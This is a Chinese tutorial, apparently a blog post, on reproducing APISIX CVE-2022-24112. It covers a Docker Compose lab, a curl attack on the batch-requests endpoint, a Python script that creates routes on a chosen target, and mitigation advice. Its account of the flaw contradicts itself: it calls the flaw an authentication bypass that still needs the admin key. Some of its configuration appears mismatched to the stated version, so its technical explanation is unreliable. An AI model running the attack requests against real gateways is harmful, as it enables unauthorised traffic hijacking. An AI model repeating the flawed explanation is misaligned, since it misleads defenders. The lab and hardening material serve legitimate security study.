1. 项目概述与核心价值

最近在整理一些经典的API网关安全案例,APISIX的CVE-2022-24112这个漏洞总是绕不开。它本质是一个批处理请求绕过认证的漏洞,影响面广,原理也很有意思,非常适合用来学习和理解API网关的安全边界。网上虽然有不少分析文章,但大多是纯理论分析,缺少一个能一键启动、开箱即用的复现环境。对于想动手实践的安全研究员或者刚入门的小伙伴来说,光看文章不实操,总觉得差点意思。

所以,我花了点时间,用Docker Compose封装了一个完整的APISIX 2.12.0靶场环境。这个环境的目标很明确: 让你在几分钟内就能拥有一个包含漏洞版本APISIX、etcd以及配套管理界面的完整沙箱 。你不需要去官网翻找历史版本,也不用操心复杂的依赖和配置,一条命令就能把环境拉起来。更重要的是,我还会附上一个自己写的Python检测脚本,这个脚本不仅能帮你快速验证漏洞是否存在,还包含了详细的请求构造过程,你可以直接看脚本源码来理解攻击链。

无论你是想深入理解这个漏洞的利用条件,还是准备在公司内部做一次API网关的安全培训,或者单纯想在自己的实验环境里“无害地”玩一下,这个靶场都能派上用场。它把环境搭建的琐碎工作全部自动化了,让你能把精力完全集中在漏洞原理分析和利用技巧上。

2. 环境整体设计与一键部署思路

2.1 为什么选择Docker Compose方案?

搭建一个历史版本的软件环境,最头疼的就是依赖和配置。APISIX 2.12.0依赖于etcd 3.4.x版本作为配置中心,手动安装不仅要分别找两个组件的特定版本,还要处理它们之间的网络连通和初始化配置,步骤繁琐且容易出错。

Docker Compose的优势在这里就体现出来了。它允许我们用一份声明式的YAML文件( docker-compose.yml )来定义整个应用栈——包括APISIX、etcd,甚至还可以加上Dashboard。所有服务的版本、端口映射、环境变量、依赖关系和启动顺序都在这个文件里定义清楚。我们只需要执行 docker-compose up -d ,Docker引擎就会自动拉取镜像、创建网络、启动容器,并按照定义好的顺序初始化服务。这相当于把一套复杂的部署手册,浓缩成了一行命令。

对于安全研究而言,这种可重复、可销毁的环境尤为重要。实验做完,一句 docker-compose down 就能清理得干干净净,不会在宿主机留下任何垃圾文件。下次需要时,又能快速重建一个一模一样的环境,保证了实验条件的一致性。

2.2 靶场组件与服务规划

我们的靶场环境由三个核心服务构成,它们通过Docker Compose创建的内部网络进行通信,与宿主机隔离,既安全又方便。

1. Etcd (版本:3.4.16) 这是APISIX的配置存储后端。APISIX的所有路由、插件、消费者等配置信息都保存在这里。我们选择3.4.16是因为它与APISIX 2.12.0兼容性最好。在Compose文件中,我们会将etcd的数据目录挂载到宿主机的一个本地目录(比如 ./etcd-data ),这样即使容器销毁,配置数据也不会丢失,方便下次快速启动。

2. Apache APISIX (版本:2.12.0) 这是我们的“主角”,存在漏洞的API网关本体。它默认会监听两个端口:

  • 9080 : 这是APISIX的数据面端口,所有经过网关转发的API流量都通过这个端口进入。
  • 9180 : 这是APISIX的管理面端口(Admin API),用于创建路由、配置插件等管理操作。 CVE-2022-24112漏洞就出在Admin API的批处理接口上。

在Docker Compose中,我们需要将这两个端口映射到宿主机(例如 9080:9080 , 9180:9180 ),这样我们才能从本地访问。同时,APISIX容器需要能通过内部网络名(如 etcd )访问到etcd服务。

3. APISIX Dashboard (版本:2.10.1) 这是一个可选的Web管理界面,让我们能通过图形化的方式操作APISIX。虽然漏洞利用不依赖Dashboard,但它对于初学者理解APISIX的路由、上游等概念非常有帮助。我们会将其端口(如 9000 )也映射出来。

整个架构的通信关系很简单:Dashboard和我们的攻击脚本,通过宿主机映射的端口访问APISIX的Admin API ( 9180 )。APISIX在启动时,会从etcd读取配置。我们的部署目标,就是让这一套服务能够无缝协作。

注意:在真实漏洞利用场景中,攻击者是从外部访问APISIX的Admin API端口。在我们的靶场里,“外部”就是我们的宿主机。因此,确保 9180 端口正确映射且防火墙允许访问是关键。

2.3 Docker Compose文件详解与配置

下面是一个精简但功能完整的 docker-compose.yml 文件内容。我会逐段解释关键配置项的含义和设计理由。

version: '3.8'

services:
  etcd:
    image: bitnami/etcd:3.4.16
    container_name: apisix-etcd
    environment:
      - ALLOW_NONE_AUTHENTICATION=yes
      - ETCD_ADVERTISE_CLIENT_URLS=http://etcd:2379
      - ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:2379
    volumes:
      - ./etcd-data:/bitnami/etcd/data
    networks:
      - apisix-net

  apisix:
    image: apache/apisix:2.12.0-alpine
    container_name: apisix-gateway
    restart: always
    volumes:
      - ./apisix_conf/config.yaml:/usr/local/apisix/conf/config.yaml:ro
    ports:
      - "9080:9080"
      - "9180:9180"
    depends_on:
      - etcd
    networks:
      - apisix-net

  apisix-dashboard:
    image: apache/apisix-dashboard:2.10.1-alpine
    container_name: apisix-dashboard
    restart: always
    environment:
      - TZ=Asia/Shanghai
    volumes:
      - ./dashboard_conf/conf.yaml:/usr/local/apisix-dashboard/conf/conf.yaml:ro
    ports:
      - "9000:9000"
    depends_on:
      - apisix
    networks:
      - apisix-net

networks:
  apisix-net:
    driver: bridge

关键配置解析:

  1. 网络 ( networks ) : 我们创建了一个名为 apisix-net 的桥接网络。所有服务都加入这个网络,它们之间可以使用容器名作为主机名直接通信(如APISIX容器内可以通过 http://etcd:2379 访问etcd)。这比使用 links 更现代和灵活。
  2. Etcd环境变量 :
    • ALLOW_NONE_AUTHENTICATION=yes : 为了方便实验,我们关闭了etcd的客户端认证。在生产环境中这是极其危险的,但在隔离的靶场环境里可以接受。
    • ETCD_ADVERTISE_CLIENT_URLS : 告知客户端(这里是APISIX)通过什么地址来连接我。这里设置为内部网络地址 http://etcd:2379
    • ETCD_LISTEN_CLIENT_URLS : etcd监听客户端请求的地址。 0.0.0.0 表示监听所有网络接口。
  3. APISIX配置挂载 ( volumes ) : 我们将宿主机的 ./apisix_conf/config.yaml 文件挂载到容器的配置路径。这样我们可以灵活地修改APISIX的配置,比如调整日志级别、设置默认插件等,而无需重新构建镜像。 :ro 表示只读挂载,防止容器内进程意外修改我们的配置文件。
  4. 端口映射 ( ports ) : "9180:9180" 是将容器内的9180端口映射到宿主机的9180端口。这是 漏洞复现的关键 ,因为我们的攻击脚本将从宿主机向 localhost:9180 发送请求。
  5. 依赖关系 ( depends_on ) : apisix 服务 depends_on: - etcd ,确保etcd先启动并健康后,APISIX再启动。同样,Dashboard依赖于APISIX。这保证了服务启动的顺序性。

APISIX配置文件 ( ./apisix_conf/config.yaml ) 核心内容:

deployment:
  role: traditional
  role_traditional:
    config_provider: etcd
  etcd:
    host:
      - "http://etcd:2379"
    prefix: "/apisix"
apisix:
  node_listen: 9080
  admin_key:
    - name: "admin"
      key: edd1c9f034335f136f87ad84b625c8f1 # 默认的管理员密钥,用于Admin API认证
      role: admin

这个配置告诉APISIX使用etcd作为配置存储,并设置了一个默认的admin key。 这个key在漏洞利用中扮演重要角色 ,因为漏洞允许攻击者在某些条件下绕过对它的校验。

准备好这两个文件后,在终端进入项目目录,执行 docker-compose up -d ,等待片刻,一个完整的APISIX 2.12.0靶场就运行起来了。你可以通过 docker-compose ps 查看服务状态,通过 docker-compose logs -f apisix 查看APISIX的启动日志,确保没有错误。

3. CVE-2022-24112漏洞原理深度解析

3.1 APISIX Admin API与批处理请求机制

要理解这个漏洞,首先得搞清楚APISIX Admin API是干什么的。简单来说,Admin API是APISIX的管理员后门,通过它,你可以创建路由、配置上游服务、启用或禁用插件等。默认情况下,访问Admin API( /apisix/admin/ 下的所有端点)都需要在请求头中携带一个正确的 X-API-KEY ,其值就是前面配置文件中 admin_key 对应的 key 。这是一种简单的静态Token认证方式。

为了提升管理效率,APISIX的Admin API提供了一个批处理接口,通常是 POST /apisix/admin/batch-requests 。这个接口的设计初衷是:客户端可以将多个管理操作(比如创建路由、更新上游)打包成一个JSON数组,一次性发送给APISIX。网关会按顺序执行这些操作,并返回一个包含每个操作结果的数组。这避免了客户端为每个操作都建立一次HTTP连接的开销,尤其在自动化脚本中非常有用。

一个正常的、经过认证的批处理请求看起来是这样的:

curl http://localhost:9180/apisix/admin/batch-requests \
  -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' \
  -H 'Content-Type: application/json' \
  -d '[
    {
      "method": "PUT",
      "path": "/apisix/admin/routes/1",
      "body": "{\"uri\": \"/test\", \"upstream\": {\"type\": \"roundrobin\", \"nodes\": {\"httpbin.org:80\": 1}}}"
    },
    {
      "method": "GET",
      "path": "/apisix/admin/routes"
    }
  ]'

这个请求会在认证通过后,先创建一条路由,然后列出所有路由。

3.2 漏洞成因:请求走私与认证绕过

CVE-2022-24112的核心问题,就出在这个批处理接口对内部请求的处理逻辑上。当APISIX收到一个批处理请求时,它的处理流程大致如下:

  1. 检查批处理请求本身是否携带了合法的 X-API-KEY (外层认证)。
  2. 如果认证通过,则开始解析请求体中的JSON数组。
  3. 对于数组中的每一个子请求对象,APISIX会 在内部模拟一个HTTP请求 ,发送给自身对应的Admin API端点(比如 /apisix/admin/routes )。
  4. 这里的关键来了:在2.12.0及之前的一些版本中,APISIX在构造这个内部模拟请求时, 错误地复用了原始批处理请求的HTTP头部 ,包括 Host , X-Forwarded-For ,以及至关重要的 X-API-KEY

这就产生了一个逻辑漏洞:攻击者可以先发送一个 不带 X-API-KEY 的批处理请求(外层请求未认证)。这个请求按理说应该在第一步就被拒绝。但是,如果攻击者在批处理请求的 子请求 path 字段上做手脚,情况就变了。

攻击者可以构造这样一个特殊的批处理请求:

[
  {
    "method": "GET",
    "path": "/apisix/admin/routes",
    "headers": {
      "X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1"
    }
  }
]

虽然外层请求没有 X-API-KEY ,但攻击者在子请求的 headers 里手动添加了一个。由于APISIX错误地将子请求的头部(包括这个伪造的 X-API-KEY )传递给了内部模拟请求,导致内部模拟的 GET /apisix/admin/routes 请求带上了有效的key,从而绕过了认证!

你可以把这个过程想象成“请求走私”:攻击者把一个带有合法凭证的请求,“走私”进了一个未经验证的外层包装里。网关在处理外层包装时疏忽了,直接把里面走私的货物(子请求)当成合法的放行了。

3.3 影响范围与利用条件

这个漏洞的影响是严重的,它允许未授权的攻击者执行任何Admin API允许的操作,包括:

  • 创建、修改、删除路由 :可以将任意流量转发到攻击者控制的服务器,进行钓鱼、窃取数据。
  • 修改上游配置 :破坏现有服务的正常运行。
  • 启用或禁用插件 :例如禁用限流、认证插件,使网关防护失效。
  • 直接获取当前所有配置 :信息泄露,为后续攻击提供情报。

利用条件

  1. APISIX版本 :影响Apache APISIX 2.12.0及之前的部分版本。2.12.1版本已修复。
  2. Admin API可访问 :攻击者需要能够网络访问到APISIX实例的Admin API端口(默认9180)。如果这个端口被错误地暴露在公网,或者在内网中被渗透,风险极高。
  3. 知晓或可爆破Admin Key :攻击者需要知道有效的 X-API-KEY 值。如果管理员使用了默认的key( edd1c9f034335f136f87ad84b625c8f1 )或强度很弱的key,风险会剧增。在某些情况下,结合其他信息泄露漏洞,也可能获取到key。

在我们的靶场中,我们故意使用了默认key,并且将9180端口映射出来,完美模拟了最危险的暴露场景,以便于学习和验证。

4. 漏洞复现实操与检测脚本详解

4.1 手工复现:一步步验证漏洞

环境启动后,我们首先验证服务是否正常。访问 http://localhost:9000 应该能看到APISIX Dashboard的登录页(默认账号密码是admin/admin)。登录后能看到空白的仪表盘,这说明APISIX和Dashboard都运行正常。

现在,我们尝试在不提供认证的情况下,通过批处理接口来创建一个路由,验证漏洞。

步骤一:发送未认证的恶意批处理请求 我们使用 curl 命令来手工构造攻击请求。请求的目标是创建一条新的路由,将访问 /evil 的请求转发到 http://httpbin.org/get (一个测试网站)。

curl -v http://localhost:9180/apisix/admin/batch-requests \
  -H "Content-Type: application/json" \
  -d '[
    {
      "method": "PUT",
      "path": "/apisix/admin/routes/evil-route",
      "body": "{\"uri\": \"/evil\", \"upstream\": {\"type\": \"roundrobin\", \"nodes\": {\"httpbin.org:80\": 1}}}",
      "headers": {
        "X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1",
        "Content-Type": "application/json"
      }
    }
  ]'
  • -v : 显示详细输出,方便我们看到HTTP状态码。
  • 外层请求: POST /apisix/admin/batch-requests 没有 X-API-KEY 头。
  • 请求体:一个JSON数组,里面包含一个子请求。
  • 子请求: method PUT path 指向创建路由的端点 /apisix/admin/routes/evil-route
  • body : 是要创建的路由配置JSON字符串。注意,这里的 body 必须是字符串,所以里面的JSON需要用反斜杠转义引号。
  • headers : 这是关键!我们在子请求的headers里手动添加了正确的 X-API-KEY

步骤二:观察结果 如果漏洞存在且利用成功,你应该会收到一个HTTP 200 OK 201 Created 的响应,响应体里包含新创建的路由信息。类似这样:

[
  {
    "status": 201,
    "body": "{\"key\":\"/apisix/routes/evil-route\",\"value\":{\"uri\":\"/evil\",\"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}},\"id\":\"evil-route\",\"create_time\":1648888888,\"update_time\":1648888888}}",
    "headers": {...}
  }
]

步骤三:验证路由创建成功 现在,我们可以通过APISIX的数据面端口9080来访问我们刚刚创建的路由:

curl http://localhost:9080/evil

如果返回了 httpbin.org/get 页面的内容(一个包含了你请求信息的JSON),恭喜你,漏洞复现成功!你刚刚在未授权的情况下,通过API网关创建了一条新的流量转发规则。

你也可以通过Dashboard的“路由”页面,直观地看到这条名为 evil-route 的路由已经被添加进来。这直观地证明了攻击的有效性。

4.2 自动化检测脚本编写与使用

手工复现虽然有助于理解,但效率太低,也不利于批量检测。为此,我编写了一个Python检测脚本 check_cve_2022_24112.py 。这个脚本不仅能快速检测目标是否存在漏洞,还清晰地展示了攻击的每一步。

#!/usr/bin/env python3
"""
CVE-2022-24112 - APISIX Admin API 批处理请求认证绕过漏洞检测脚本
Author: [你的名字]
Usage: python3 check_cve_2022_24112.py -t http://target:9180 -k admin_key
"""

import argparse
import requests
import json
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_vulnerability(target_url, admin_key):
    """
    检测目标APISIX是否存在CVE-2022-24112漏洞。
    原理:发送一个未认证的批处理请求,在子请求中携带admin key,尝试创建一个测试路由。
    """
    batch_url = f"{target_url.rstrip('/')}/apisix/admin/batch-requests"
    
    # 构造恶意批处理请求体
    # 我们尝试创建一个临时路由,指向一个无害的测试站点
    test_route_id = "cve_test_route_12345"
    test_upstream = "httpbin.org:80"
    
    payload = [
        {
            "method": "PUT",
            "path": f"/apisix/admin/routes/{test_route_id}",
            "body": json.dumps({
                "uri": f"/.well-known/cve-test-{test_route_id}", # 使用一个不太可能冲突的URI
                "upstream": {
                    "type": "roundrobin",
                    "nodes": {
                        test_upstream: 1
                    }
                }
            }),
            "headers": {
                "X-API-KEY": admin_key,
                "Content-Type": "application/json"
            }
        }
    ]
    
    headers = {
        "Content-Type": "application/json",
        # 注意:外层请求故意不发送 X-API-KEY
    }
    
    print(f"[*] 目标: {target_url}")
    print(f"[*] 使用的Admin Key: {admin_key}")
    print(f"[*] 发送恶意批处理请求...")
    print(f"[*] 请求体: {json.dumps(payload, indent=2)}")
    
    try:
        resp = requests.post(batch_url, headers=headers, json=payload, verify=False, timeout=15)
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求失败: {e}")
        return False, None
    
    print(f"[*] 响应状态码: {resp.status_code}")
    
    if resp.status_code == 200:
        try:
            result = resp.json()
            print(f"[*] 响应体: {json.dumps(result, indent=2)}")
            # 检查响应中是否包含成功的状态码(200或201)
            if isinstance(result, list) and len(result) > 0:
                sub_req_result = result[0]
                if sub_req_result.get('status') in [200, 201]:
                    print(f"[+] 漏洞可能存在!未授权批处理请求返回成功。")
                    print(f"[+] 尝试创建的路由ID: {test_route_id}")
                    # 可选:尝试访问创建的路由来二次验证
                    verify_url = target_url.replace(':9180', ':9080') + f"/.well-known/cve-test-{test_route_id}"
                    print(f"[*] 尝试验证路由是否生效: GET {verify_url}")
                    try:
                        verify_resp = requests.get(verify_url, verify=False, timeout=10)
                        if verify_resp.status_code == 200:
                            print(f"[+] 验证成功!路由已创建并可访问。")
                            return True, test_route_id
                        else:
                            print(f"[*] 路由创建API成功,但访问验证失败(状态码{verify_resp.status_code})。可能数据面未同步或配置有误。")
                            return True, test_route_id # 仍然认为漏洞存在
                    except:
                        print(f"[*] 路由验证请求失败,但批处理API已成功响应。")
                        return True, test_route_id
                else:
                    print(f"[-] 子请求执行失败。状态: {sub_req_result.get('status')}, 响应: {sub_req_result.get('body')}")
                    return False, None
        except json.JSONDecodeError:
            print(f"[-] 响应不是有效的JSON: {resp.text[:200]}")
            return False, None
    elif resp.status_code == 401:
        print(f"[-] 外层请求被认证拦截 (401)。目标可能已修复漏洞或配置了更强的认证。")
        return False, None
    else:
        print(f"[-] 请求返回意外状态码: {resp.status_code}")
        print(f"[-] 响应内容: {resp.text[:500]}")
        return False, None
    
    return False, None

def cleanup_if_needed(target_url, admin_key, route_id):
    """尝试清理创建的路由(如果存在且提供了有效key)"""
    if not route_id:
        return
    print(f"\n[*] 尝试清理测试路由: {route_id}")
    delete_url = f"{target_url.rstrip('/')}/apisix/admin/routes/{route_id}"
    headers = {"X-API-KEY": admin_key}
    try:
        del_resp = requests.delete(delete_url, headers=headers, verify=False, timeout=10)
        if del_resp.status_code in [200, 204, 404]:
            print(f"[+] 路由清理成功。")
        else:
            print(f"[-] 路由清理失败,状态码: {del_resp.status_code}")
    except Exception as e:
        print(f"[-] 清理请求失败: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2022-24112 APISIX漏洞检测工具')
    parser.add_argument('-t', '--target', required=True, help='APISIX Admin API地址 (e.g., http://127.0.0.1:9180)')
    parser.add_argument('-k', '--key', default='edd1c9f034335f136f87ad84b625c8f1', help='APISIX Admin Key (默认使用常见默认key)')
    parser.add_argument('--no-cleanup', action='store_true', help='检测后不自动清理测试路由')
    
    args = parser.parse_args()
    
    is_vuln, created_route_id = check_vulnerability(args.target, args.key)
    
    if not args.no_cleanup and created_route_id:
        cleanup_if_needed(args.target, args.key, created_route_id)
    
    sys.exit(0 if is_vuln else 1)

脚本使用与解析:

  1. 运行脚本

    # 检测本地靶场
    python3 check_cve_2022_24112.py -t http://localhost:9180
    # 指定自定义的admin key
    python3 check_cve_2022_24112.py -t http://192.168.1.100:9180 -k your_admin_key_here
    # 检测后不清理测试路由(用于进一步手动分析)
    python3 check_cve_2022_24112.py -t http://localhost:9180 --no-cleanup
    
  2. 脚本逻辑详解

    • 构造请求 :脚本的核心是 check_vulnerability 函数。它构造了一个与手工复现步骤一模一样的恶意批处理请求。外层请求头 故意不包含 X-API-KEY
    • 子请求注入 :在子请求的 headers 字段中,插入了用户提供的(或默认的) admin_key
    • 结果判断 :如果外层请求返回200,并且子请求的执行状态是200或201,则初步判断漏洞存在。
    • 二次验证 :脚本会尝试访问它创建的那个特殊路由(URI包含随机字符串,避免冲突),如果也能访问成功,则双重确认漏洞利用成功。
    • 自动清理 :默认情况下,脚本检测完成后会尝试删除创建的测试路由,避免污染环境。使用 --no-cleanup 参数可以保留路由供检查。
  3. 脚本的实用价值

    • 快速检测 :只需一个命令,即可对目标进行检测,输出明确。
    • 学习工具 :通过阅读脚本,可以清晰地看到整个攻击载荷(Payload)的构造过程,比看文字描述更直观。
    • 批量扫描基础 :你可以以此脚本为蓝本,改造后集成到自己的自动化扫描工具中。

重要提示:此脚本仅用于授权下的安全测试和教育目的。切勿用于测试未经授权的系统。

5. 漏洞修复方案与安全加固建议

5.1 官方修复方案分析

Apache APISIX官方在2.12.1版本中修复了此漏洞。修复的核心思路非常清晰: 在处理批处理请求的子请求时,不再盲目信任或复用外层请求的头部,而是对内部模拟请求的头部进行显式地、安全地构造。

具体来说,修复代码确保了:

  1. 当处理批处理请求中的子请求时,用于内部转发(或模拟)的HTTP请求,其头部信息是独立生成的。
  2. 特别是 X-API-KEY 这类认证头,必须来自于批处理请求 外层 的合法认证,而不能被子请求中的 headers 字段覆盖或注入。
  3. 换句话说,批处理接口作为一个整体,必须先通过认证,才有权执行内部操作。子请求中携带的认证头将被忽略。

因此,最直接、最有效的修复方案就是 立即将APISIX升级到2.12.1或更高版本 。对于生产环境,建议升级到最新的稳定版,以获取所有安全补丁和功能改进。

5.2 临时缓解措施与安全配置

如果因为某些原因无法立即升级,可以采取以下临时缓解措施来降低风险:

  1. 严格限制Admin API的访问 :这是最重要的防线。绝对不要将APISIX的Admin API端口(默认9180)暴露在公网。通过网络安全组、防火墙或反向代理(如Nginx)规则,将其访问权限限制在 仅允许运维管理员IP 特定的管理VPC/网络 。理想情况下,Admin API只应在内部管理网络中被访问。

  2. 修改并强化Admin Key :立即修改默认的 admin_key 。在 config.yaml 中,使用一个高强度、随机生成的字符串替换 edd1c9f034335f136f87ad84b625c8f1 。可以借助密码生成器生成。同时,可以考虑配置多个不同权限的key,遵循最小权限原则。

    apisix:
      admin_key:
        - name: "admin"
          key: 你的_高强度_随机_字符串_这里
          role: admin
        - name: "viewer"
          key: 另一个_只读_权限的key
          role: viewer
    
  3. 启用更严格的认证 :APISIX支持与多种身份提供商(如LDAP、JWT、Keycloak等)集成。考虑为Admin API启用除静态Key之外的多因素认证,或者通过前置的认证代理(如OAuth2 Proxy)来保护管理接口。

  4. 禁用或严格审计批处理接口 :如果业务上不需要使用批处理功能,可以考虑通过自定义插件或修改配置,直接禁用 POST /apisix/admin/batch-requests 这个端点。或者,对该端点的访问日志进行严格监控和审计,对异常的、高频的批处理请求设置告警。

  5. 使用安全的部署模式 :考虑将APISIX的配置管理与数据面分离。使用 control API 模式,通过独立的控制面(如APISIX Dashboard)来管理配置,而控制面本身受到更严格的安全保护。这样即使数据面(9080端口)暴露,攻击者也无法直接访问到配置管理接口。

5.3 安全开发与运维启示

CVE-2022-24112给我们的启示超越了APISIX本身,适用于所有API网关和中间件的开发与运维:

  • 对内部请求处理保持警惕 :任何涉及“内部请求转发”、“模拟请求”、“批处理”的功能点都是安全审计的重中之重。必须清晰界定内外请求的边界,内部请求的上下文(如认证信息)必须由服务自身安全地生成和传递,绝不能信任用户输入。
  • 默认安全原则 :像Admin API这样的高权限接口,应该默认拒绝所有访问,然后通过白名单方式逐步放开。APISIX默认将Admin API监听在 0.0.0.0 ,这是一个风险点。在可能的情况下,应将其绑定在 127.0.0.1 或内部网络接口上。
  • 纵深防御 :不要依赖单一的安全机制。结合网络隔离、强认证、权限最小化、日志审计和实时监控,构建多层防御体系。即使某一层被绕过,其他层仍能提供保护。
  • 定期安全评估与更新 :将API网关纳入常规的安全扫描和渗透测试范围。及时关注官方安全公告,建立快速的补丁应用流程。对于开源组件,可以订阅其安全邮件列表或使用软件成分分析(SCA)工具进行监控。

6. 靶场环境进阶玩法与问题排查

6.1 靶场环境的其他用途

这个一键搭建的靶场环境,除了复现CVE-2022-24112,还可以作为学习APISIX其他功能的绝佳实验平台:

  1. 学习APISIX核心概念 :你可以在Dashboard上随意创建路由、服务、上游和消费者,配置各种插件(如限流限速、身份认证、流量镜像、故障注入等),并通过9080端口立即测试效果。所有操作都在容器内,完全不用担心影响生产环境。
  2. 测试其他漏洞或配置错误 :你可以手动将APISIX镜像版本切换到其他存在已知漏洞的版本(修改 docker-compose.yml 中的镜像标签),来复现和研究其他安全问题。
  3. 开发自定义插件 :APISIX支持Lua和Java插件开发。你可以将你的插件代码目录挂载到容器中,在靶场环境里进行调试和测试,无需搭建复杂的Lua或Java开发环境。
  4. 模拟API流量 :配合像 hey wrk 这样的压测工具,你可以在本地模拟API流量,测试APISIX在不同插件组合下的性能表现和资源消耗。

6.2 常见问题与解决方案实录

在搭建和使用这个靶场的过程中,你可能会遇到以下问题。这里记录了我遇到的一些坑和解决办法:

问题1:执行 docker-compose up -d 后,APISIX容器不断重启,日志显示连接etcd失败。

  • 可能原因 :etcd容器尚未完全启动并准备好,APISIX就已经启动并尝试连接,导致连接被拒绝。
  • 解决方案
    1. 检查etcd容器日志: docker-compose logs etcd 。确保etcd显示 ready to serve client requests
    2. docker-compose.yml 中为APISIX服务添加健康检查依赖或增加重启延迟。更简单的方法是先单独启动etcd: docker-compose up -d etcd ,等待10秒后再启动其他服务: docker-compose up -d
    3. 在APISIX的 config.yaml 中,可以尝试增加etcd的连接超时时间(如果版本支持相关配置)。

问题2:攻击脚本检测报告漏洞存在,但无法访问创建的路由( curl localhost:9080/evil 返回404)。

  • 可能原因A :APISIX的路由配置没有从etcd同步到数据面。这通常是一个临时状态。
  • 排查 :访问Admin API列出所有路由确认: curl -H ‘X-API-KEY: xxx’ http://localhost:9180/apisix/admin/routes 。如果路由存在,等待几秒钟再试,APISIX有毫秒级的配置同步延迟。
  • 可能原因B :路由配置的 uri 字段匹配有问题。确保你访问的路径完全匹配。例如,如果路由配置的 uri /evil ,访问 /evil/ (多一个斜杠)可能不匹配。
  • 排查 :在Dashboard上检查创建的路由详情,确认 uri 字段。或者使用 curl -v 查看详细的请求和响应头。

问题3:Dashboard可以登录,但页面显示“请求失败”或“连接APISIX失败”。

  • 可能原因 :Dashboard容器内配置的APISIX地址不正确。Dashboard需要通过内部网络访问APISIX的Admin API。
  • 解决方案 :检查挂载的Dashboard配置文件 ./dashboard_conf/conf.yaml 。确保其中的 conf.apisix.host 指向的是APISIX服务的内部网络地址和端口。在我们的Compose设置中,应该是 http://apisix:9180
    conf:
      apisix:
        host: http://apisix:9180 # 使用Docker服务名
        api_key: edd1c9f034335f136f87ad84b625c8f1
    

问题4:想用不同的APISIX或etcd版本进行测试。

  • 解决方案 :直接修改 docker-compose.yml 文件中 image 标签的版本号即可。例如,将 apache/apisix:2.12.0-alpine 改为 apache/apisix:2.10.0-alpine 。但需要注意版本兼容性,APISIX 2.x 通常需要 etcd 3.4.x。修改后,执行 docker-compose down -v -v 会删除卷,即etcd数据)然后重新 docker-compose up -d 来全新启动。

问题5:宿主机端口冲突。

  • 症状 docker-compose up 报错 Bind for 0.0.0.0:9180 failed: port is already allocated
  • 解决方案 :要么关闭占用端口的本地进程,要么修改 docker-compose.yml ports 映射的宿主机端口。例如将 "9180:9180" 改为 "19180:9180" ,之后访问地址就变为 http://localhost:19180 。记得同步修改检测脚本中的目标地址。

这个靶场环境就像是一个安全的沙盒,让你可以无顾虑地探索、测试和破坏。理解漏洞最好的方式就是亲手触发它,观察它的行为,然后思考如何防御。希望这个详细的手把手教程和现成的环境,能帮你更深入地掌握API网关安全。